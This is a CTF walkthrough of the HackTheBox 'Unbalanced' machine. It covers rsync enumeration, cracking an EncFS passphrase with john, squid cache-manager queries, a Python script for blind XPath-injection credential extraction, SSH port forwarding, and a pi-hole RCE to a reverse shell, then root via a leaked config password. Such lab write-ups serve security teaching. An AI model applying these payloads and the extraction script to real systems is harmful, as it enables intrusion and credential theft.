Unbalanced HackTheBox Writeup

12 minute read



  • Configuring FoxyProxy for proxy settings
  • Exploring rsync port and downloading encrypted files
  • Cracking the passphrase needed for EncFS and reading config files after decryption
  • Using squidclient for viewing information
  • Understanding xpath injection and extracting usernames and passwords
  • Port Forwarding and exploiting a known CVE for pi-hole.

Port Scan

$ nmap -sC -sV -oN unbalanced
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
|   256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_  256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp  open  rsync?
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looking at the result, we have ssh running on port 22, rsync on port 873 and squid proxy on port 3128.

Port 3128

What is Squid ?

Squid is a caching proxy for the Web supporting HTTP, HTTPS, FTP and more. It sits in between client and website and caches the frequently requested contents and serves them resulting in reduced bandwidth, network congestion and thus improving the response time.

Trying to access


We get an Invalid URL. So, lets add an entry on the foxyproxy, to access the URL through the proxy. FoxyProxy is a browser extension that lets you manage the proxy setting very easily.


Using Squid proxy:


Accessing through proxy


This time we get a ACCESS DENIED.

Squid can be configured for authentication but there was no any pop up asking for username and password. Even if the pop up had come up, we didn’t have a username and password.


Rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive and across networked computers by comparing the modification times and sizes of files.

Connecting to port 873

$ nc -v 873
Connection to 873 port [tcp/rsync] succeeded!
@RSYNCD: 31.0      # server replying with version
@RSYNCD: 31.0      # we sent the same info
#list              # asking to list the content
conf_backups    EncFS-encrypted configuration backups

There is a EncFS-encrypted configuration backups folder called conf_backups. So let us download that folder to the local box.

We can use rsync to download the content. rsync can be installed from apt.

$ apt install rsync

Downloading the contents of conf_backups folder

$ rsync -av rsync:// ./conf_backups                                                              
receiving incremental file list                                                         
created directory ./conf_backups
sent 1,452 bytes  received 411,990 bytes  25,057.09 bytes/sec
total size is 405,603  speedup is 0.98

This is an EncFS encrypted folder. EncFS is a Free (LGPL) FUSE-based cryptographic filesystem. It transparently encrypts files, using an arbitrary directory as storage for the encrypted files. To get a understanding of how files are encrypted, I suggest you to read this article.

So we have a EncFS encrypted directory and one interesting thing about EncFS is that it stores the encryption metadata information in a per-directory configuration file (.encfs6.xml), So that we do not have to remember anything (except the passphrase). And looking at the output above, we do have that file. So now we have to find the passphrase, which is used to encrypt the key in .encfs6.xml file.

Password Cracking using john

John The Ripper comes preinstalled in most penetration distros. You can install john from here.

For this we will be using script in john called encfs2john.py.

$ locate encfs2john  

Using the script to create the hash and saving on file hash.john

$ ./encfs2john.py conf_backups/ | tee hash.john

Cracking the hash with rockyou.txt wordlist.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
bubblegum        (conf_backups/)
1g 0:00:00:42 DONE (2020-08-13 06:44) 0.02335g/s 16.81p/s 16.81c/s 16.81C/s zacefron..marissa
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And we get the password. So lets decrypt the files using encfsctl.

$ encfsctl export conf_backups/ conf_backups_decrpyted
EncFS Password: bubblegum
directory conf_backups_decrpyted does not exist.
The directory "conf_backups_decrpyted" does not exist. Should it be created? (y,N) y

Looking inside the folder, we get bunch of configuration files.


By looking around, we can see the configuration file for squid ie. squid.conf.

Interesting content inside squid.conf

# Allow access to intranet
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n
http_access allow intranet
http_access allow intranet_net

# No password. Actions which require password are denied.
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all

Here, we find two intersting things. One is the hostname, which we will add on our /etc/hosts file. Lets also add unbalanced.htb too just to be safe.    unbalanced.htb intranet.unbalanced.htb

Second interesting thing is the entry of cache manager where we can see the password along with the actions allowed.

Accessing intranet.unbalanced.htb through proxy


We get a login form.

I tried basic SQL, NoSQL injection trying to bypass the login but got nothing.

username=' or '1'='1&password=' or '1'='1     #sql injection
username[$ne]=toto&password[$ne]=toto         #no sql injection

By testing manually, it didn’t look like it was vulnerable to SQL injection. Even though I copied the login request from burp and ran Sqlmap with the request file. However, I didn’t get anything.

Cache Manager

The cache manager is a component of Squid which provides management controls and reports displaying statistics about the squid process as it runs.

And after reading the the documentation about cache manager, I knew that we can access the manager reports using squidclient which is a command line utility and can be installed using apt.

$ sudo apt install squidclient

Using squidclient for viewing information

$ squidclient -h -p 3128 mgr:[email protected]\$Sh1
HTTP/1.1 200 OK                                                                         
Server: squid/4.6                                                                       
Mime-Version: 1.0                                                                       
Date: Thu, 13 Aug 2020 11:56:15 GMT                                                     
Content-Type: text/plain;charset=utf-8                                                  
Expires: Thu, 13 Aug 2020 11:56:15 GMT                                                  
Last-Modified: Thu, 13 Aug 2020 11:56:15 GMT                            
X-Cache: MISS from unbalanced                                                           
X-Cache-Lookup: MISS from unbalanced:3128                                               
Via: 1.1 unbalanced (squid/4.6)                                                         
Connection: close                                                                       
 index             Cache Manager Interface                 disabled
 menu              Cache Manager Menu                      protected
 sourcehash        peer sourcehash information             disabled
 server_list       Peer Cache Statistics                   disabled

And I was looking the options permitted for cache manager like menu, pconn, mem, diskd, fqdncacheand and so on that was mentioned on the squid.conf file. And on fqdncache option, I found a bunch of hostnames with ip addresses.

$ squidclient -h -p 3128 mgr:[email protected]\$Sh1 


These two entries looked interesting to me.             H -001   1 intranet-host2.unbalanced.htb             H -001   1 intranet-host3.unbalanced.htb => intranet-host2.unbalanced.htb


It looks like the same page that we had seen earlier. And I checked for SQL and NoSQL injection on this page, but I did not get anything. => intranet-host3.unbalanced.htb


This page looks exactly the same as the previous one. And I checked for SQL and NoSQL injection on this page too. But I didn’t get anything.

Analyzing the pattern of the hosts          intranet-host2.unbalanced.htb          intranet-host3.unbalanced.htb

Looking at the pattern, I realized there is likely to be a service at with hostname intranet-host1.unbalanced.htb. Otherwise, why would anyone start the naming from host2? That seems logical, right? => intranet-host1.unbalanced.htb


And I was right. I tried the same SQL injection payload in this login form too. And third time the charm, we got something back.



And I played with it for a while. Tried many manual sql injections queries and used sqlmap by copying the login request from burpsuite but I did not get anything.

Then one of my friend on discord told me about xpath injection. At that time, I was completely unaware of XPath injection. So I read many articles that I could find regarding xpath injection but still, I was not able to exploit the vulnerability.

Then I thought of taking a step back and went to xpather.com to play around with a XML example.

<?xml version="1.0" encoding="utf-8"?>
   <Employee ID="1">
   <Employee ID="2">

I used the above example to practice.

Enumerating Root Element

1. /*                           # Gives the root node and everything on it.
2. name(/*)                     # Gives the name of the root node ie Employees.
3. string-length(name(/*))      # Gives the length of string Employees.ie 9
4. substring(name(/*)),1,1)     # Gives first character of Employees ie 'E'

Using this technique, now we can enumerate the root node’s name, it’s length as well as extract the root node name a character at a time.

Enumerating First Child

1. /Employees/*                            # all the child of node Employees
2. /Employees/*[1]                         # Only first child of Employees
3. name(/Employees/*[1])                   # Gives Employee
4. string-length(name(/Employees/*[1]))    # Gives 8
5. substring(name(/Employees/*[1]),1,1)    # Gives 'E'

Enumerating Next Child

1. /Employees/Employee[1]/*                                 # All info about first Employee
2. /Employees/Employee[1]/*[1]                              # FirstName
3. string-length(/Employees/Employee[1]/*[1])               # Gives 9
4. substring(name(/Employees/Employee[1]/*[1]),1,1) = 'F'   # True

Enumerating the content

1. /Employees/Employee[1]/FirstName/text()                         # 'Arnold'
2. string-length(/Employees/Employee[1]/FirstName/text())          # 6
3. substring(/Employees/Employee[1]/FirstName/text(),1,1) = 'A'    # True

Now I think you get the gist. If you still have problem, I suggest you to go to this link and get your hands dirty. Once you know how to walk through those elements, it is very much similar to SQL injection.

Writing a crappy code for extracting information.

Payload used:

'or '1'='1' and substring(/Employees/Employee[3]/Password/text(),1,1) = 'A' and '1'='1
#Breaking the payload
# 1. ' or '1' = '1'                               # always true and returns the whole information
# 2. and substring(name(/*),1,1) = 'ch'           # only true when ch = required character
# 3. and '1' = '1                                 # always true and to make the query valid

If the condition is true, we get the response with all those names and emails. But if the condition is false, we don’t get any of those responses.

To extract the information of different elements, you can change the payload according to your needs.


import requests
from string import printable
url = ""
proxy = {'http' : ''}
str1  = printable
j = 1
out = ''
len1 = 0
#Finding length of the String
while True:
    params = { 'Username' : "'or '1'='1' and string-length(/Employees/Employee[3]/Username/text()) = "+str(j)+" and '1'='1",
            'Password' : "'or '1'='1' and string-length(/Employees/Employee[3]/Username/text()) =" +str(j)+" and '1'='1"
    r = requests.post(url,data=params,proxies=proxy)
    #print("testing: "+ str(j),end='\r',flush=True)
    if 'Rita' in r.text:
        len1 = j 
        #print("value found finally: "+ str(j))
    j += 1
#Extracting the  username value
username= ''
for i in range(1,len1+1):
    for ch in str1:
        #print("value testing for character number: "+str(i) + " and Value: " + ch,end = '\r', flush=True)
        params = { 'Username' : "'or '1'='1' and substring(/Employees/Employee[3]/Username/text(),{},1) = '".format(i)+ch +"' and '1'='1",
            'Password' : "'or '1'='1' and substring(/Employees/Employee[3]/Username/text(),{},1) = '".format(i) +ch+"' and '1'='1"
        r = requests.post(url,data=params,proxies=proxy)
        if 'Rita' in r.text:
            username += ch
            print("Username: " + username,end='\r',flush=True)
print("Username : " +username)
#string length of Password
while True:
    params = { 'Username' : "'or '1'='1' and string-length(/Employees/Employee[3]/Password/text()) = "+str(j)+" and '1'='1",
            'Password' : "'or '1'='1' and string-length(/Employees/Employee[3]/Password/text()) =" +str(j)+" and '1'='1"
    r = requests.post(url,data=params,proxies=proxy)
    #print("testing: "+ str(j),end='\r',flush=True)
    if 'Rita' in r.text:
        len1 = j 
       # print("value found finally: "+ str(j))
    j += 1
# Extracting the password
pass1= ''
for i in range(1,len1+1):
    for ch in str1:
        #print("value testing for character number: "+str(i) + " and Value: " + ch,end = '\r', flush=True)
        params = { 'Username' : "'or '1'='1' and substring(/Employees/Employee[3]/Password/text(),{},1) = '".format(i)+ch +"' and '1'='1",
            'Password' : "'or '1'='1' and substring(/Employees/Employee[3]/Password/text(),{},1) = '".format(i) +ch+"' and '1'='1"
        r = requests.post(url,data=params,proxies=proxy)
        if 'Rita' in r.text:
            pass1 += ch
            print("password : " + pass1,end='\r',flush=True)
print("password : " +pass1)
#Extracted Information   

Port 22

As ssh was open, I tried to log in with the usernames and their password. And we get in with Bryan’s password.

$ ssh [email protected]
[email protected]'s password: 
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 13 09:12:43 2020 from
[email protected]:~$

Reading User.txt


Privilege Escalation

On Bryan’s home directory


Notes on pi-hole looks interesting.

Looking for the listening ports in the box.


We can see that ports 5553 and 8080 are open but we didn’t see that on our Nmap scan as it was listening only on

I didn’t know what pi hole was used for. So I searched around and found that Pi-hole is a Linux network-level advertisement and Internet tracker blocking application which acts as a DNS sinkhole and optionally a DHCP server, intended for use on a private network.

And I checked if there are any known exploits for Pi-hole and I founded multiple exploits for pi-hole.


But we still did not know the version of the pi-hole but as there was the CVE of year 2020, there is a high possibility that this pi-hole might be vulnerable.

Anyway I search around and found a great article explaining how the tampering of the field MAC address could lead to RCE. Also I found this repo on GitHub exploiting these vulnerabilities to get the reverse shell. But this is an authenticated exploit, that means we must be logged in to perform this exploit.

Port Forwarding

As we can’t access the service running on port 8080, we use port forwarding.

$ ssh -N -L 8000: [email protected]
[email protected]'s password:

Here, we listen on port 8000 on our local box and forward that traffic using ssh to the port 8080 on the remote box.

We can see that our box is now listening on port 8000.

$ netstat -anlp | grep -i 8000

tcp      0    0*    LISTEN      27403/ssh           
tcp6     0    0 ::1:8000          :::*         LISTEN      27403/ssh

Accessing Pi-hole Interface On our local machine


We get some response.

Reading different articles and CVEs, I came to know that pi-hole has a admin interface on /admin/.


And I tried logging in with common passwords before trying to brute force the password. But luckily, I got in with a password as admin.

Now that we have successfully logged in, let us try the exploit from the GitHub that I mentioned earlier.

First we open a Netcat listener on port 9001

$ nc -nvlp 9001  
Listening on [] (family 2, port 9001)  
Listening on 9001

Executing exploit


And we get a shell as www-data. 19

As there was no python and python3 on the box, I didn’t try getting a tty. I like to explore the box manually before running scripts like linpeas or LinEnum.

On /root folder

$ ls /root

These are the configuration file and install script for pihole. Looking inside the files, I found something interesting in pihole_config.sh

$ cat pihole_config.sh
# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb
# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c
# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb
# Set privacy level
/usr/local/bin/pihole -a -l 4
# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'
# Set admin email
/usr/local/bin/pihole -a email [email protected]

Using the password that I found on pihole_config.sh, I tried to su as root from Bryan.

And I got in and we get a root shell.


And finally we can get the root flag. 21